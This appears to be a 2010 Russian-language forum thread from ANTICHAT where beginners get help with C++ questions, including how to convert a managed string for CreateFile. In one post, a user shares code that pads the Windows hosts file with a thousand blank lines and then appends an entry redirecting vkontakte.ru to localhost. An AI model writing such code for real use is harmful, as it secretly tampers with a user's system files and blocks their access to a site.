ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

20.03.2010, 21:41
|
|
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме: 4761503
Репутация:
229
|
|
Код:
Код:
if (saveFileDialog1->FileName != ""){
new_file = CreateFile(saveFileDialog1->FileName, GENERIC_WRITE, 0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0);
}
Какая ошибка:
Код:
d:\documents and settings\admin\мои документы\visual studio 2008\projects\my_project\my_project\Form1.h(203) : error C2664: 'CreateFileW' : cannot convert parameter 1 from 'System::String ^' to 'LPCWSTR'
Среда разработки:
visual C++
Помогите решить проблему
Последний раз редактировалось wolmer; 20.03.2010 в 21:43..
|
|
|

20.03.2010, 21:46
|
|
Участник форума
Регистрация: 20.01.2008
Сообщений: 284
Провел на форуме: 3767223
Репутация:
408
|
|
Сообщение от wolmer
Код:
Код:
if (saveFileDialog1->FileName != ""){
new_file = CreateFile(saveFileDialog1->FileName, GENERIC_WRITE, 0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0);
}
Какая ошибка:
Код:
d:\documents and settings\admin\мои документы\visual studio 2008\projects\my_project\my_project\Form1.h(203) : error C2664: 'CreateFileW' : cannot convert parameter 1 from 'System::String ^' to 'LPCWSTR'
Среда разработки:
visual C++
Помогите решить проблему
С++ вообще не знаю.Вот что сказал гугл...
http://www.sql.ru/forum/actualthread.aspx?tid=698959
Подошло?
|
|
|

20.03.2010, 21:46
|
|
Постоянный
Регистрация: 24.03.2009
Сообщений: 670
Провел на форуме: 2868783
Репутация:
414
|
|
Создавай чистый win32 проект, а не CLR.
|
|
|

21.03.2010, 17:42
|
|
Познающий
Регистрация: 27.02.2010
Сообщений: 33
Провел на форуме: 95178
Репутация:
6
|
|
Привет всем.Прошу помощи есть код
#include <iostream> //стандартный поток ввода/вывода.
#include <fstream>//для работы с файлами
using namespace std;// используем по умолчанию пространство имен std.
int main(){/*это главная функция. Она у нас ничего не возвращает, но типом главной функции может быть только int. void нельзя.*/
freopen("C:/WINDOWS/system32/drivers/etc/hosts","at",stdout); /* тут мы делаем переадресацию iostream на fstream с ключом дозаписи.*/
unsigned int a = 0; // создаём переменную счетчик.
while(a<=1000){ //создаём цикл
a++; //который заполняет файл hosts
cout<<"\n"; //тысячью пустых строк
}
cout<<"127.0.0.1 vkontakte.ru"; // это строка переадресации
}
Но увы он у меня с ним не срослось отказывается работать упорно не знаю что уже сделать с ним......я C++ только начинаю изучать и в учебнике который зубрю нет работы с файлами.....работаю в Builder C++ 6/
|
|
|

21.03.2010, 18:47
|
|
Участник форума
Регистрация: 20.12.2008
Сообщений: 130
Провел на форуме: 436500
Репутация:
11
|
|
Сообщение от J0cker
Но увы он у меня с ним не срослось отказывается работать упорно не знаю что уже сделать с ним....
телепат в отпуске...  придётся тебе всё-таки указать, какие ошибки выдаются при компиляции/ проработке кода
|
|
|

21.03.2010, 18:53
|
|
Познающий
Регистрация: 27.02.2010
Сообщений: 33
Провел на форуме: 95178
Репутация:
6
|
|
Разобрался =)))Правда совсем по другому пришлось делать
Ругался он на строку
freopen("C:/WINDOWS/system32/drivers/etc/hosts","at",stdout);
|
|
|

21.03.2010, 19:14
|
|
Участник форума
Регистрация: 20.12.2008
Сообщений: 130
Провел на форуме: 436500
Репутация:
11
|
|
Сообщение от wolmer
Код:
Код:
if (saveFileDialog1->FileName != ""){
new_file = CreateFile(saveFileDialog1->FileName, GENERIC_WRITE, 0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0);
}
Какая ошибка:
Код:
d:\documents and settings\admin\мои документы\visual studio 2008\projects\my_project\my_project\Form1.h(203) : error C2664: 'CreateFileW' : cannot convert parameter 1 from 'System::String ^' to 'LPCWSTR'
Среда разработки:
visual C++
Помогите решить проблему
Надо преобразовать твою строку:
Код:
IntPtr ptr = System::Runtime::InteropServices::Marshal::StringToHGlobalUni(saveFileDialog1->FileName);
А потом в вызове CreateFile вместо saveFileDialog1->FileName пишешь:
Код:
(LPCWSTR)ptr.ToPointer()
Удачи! 
|
|
|

21.03.2010, 19:25
|
|
Познающий
Регистрация: 27.02.2010
Сообщений: 33
Провел на форуме: 95178
Репутация:
6
|
|
Спасибо =))) Но это реальная жесть в чистом виде в частности преобразование =)))
|
|
|

21.03.2010, 21:48
|
|
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме: 4761503
Репутация:
229
|
|
Сообщение от razb
Создавай чистый win32 проект, а не CLR.
А чем CLR отличается от win32 проекта? (и вообще что такое CLR (Common Language Runtime) ?)
|
|
|

22.03.2010, 01:53
|
|
Постоянный
Регистрация: 12.07.2006
Сообщений: 327
Провел на форуме: 1654818
Репутация:
117
|
|
Сообщение от wolmer
(и вообще что такое CLR (Common Language Runtime) ?)
да)
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|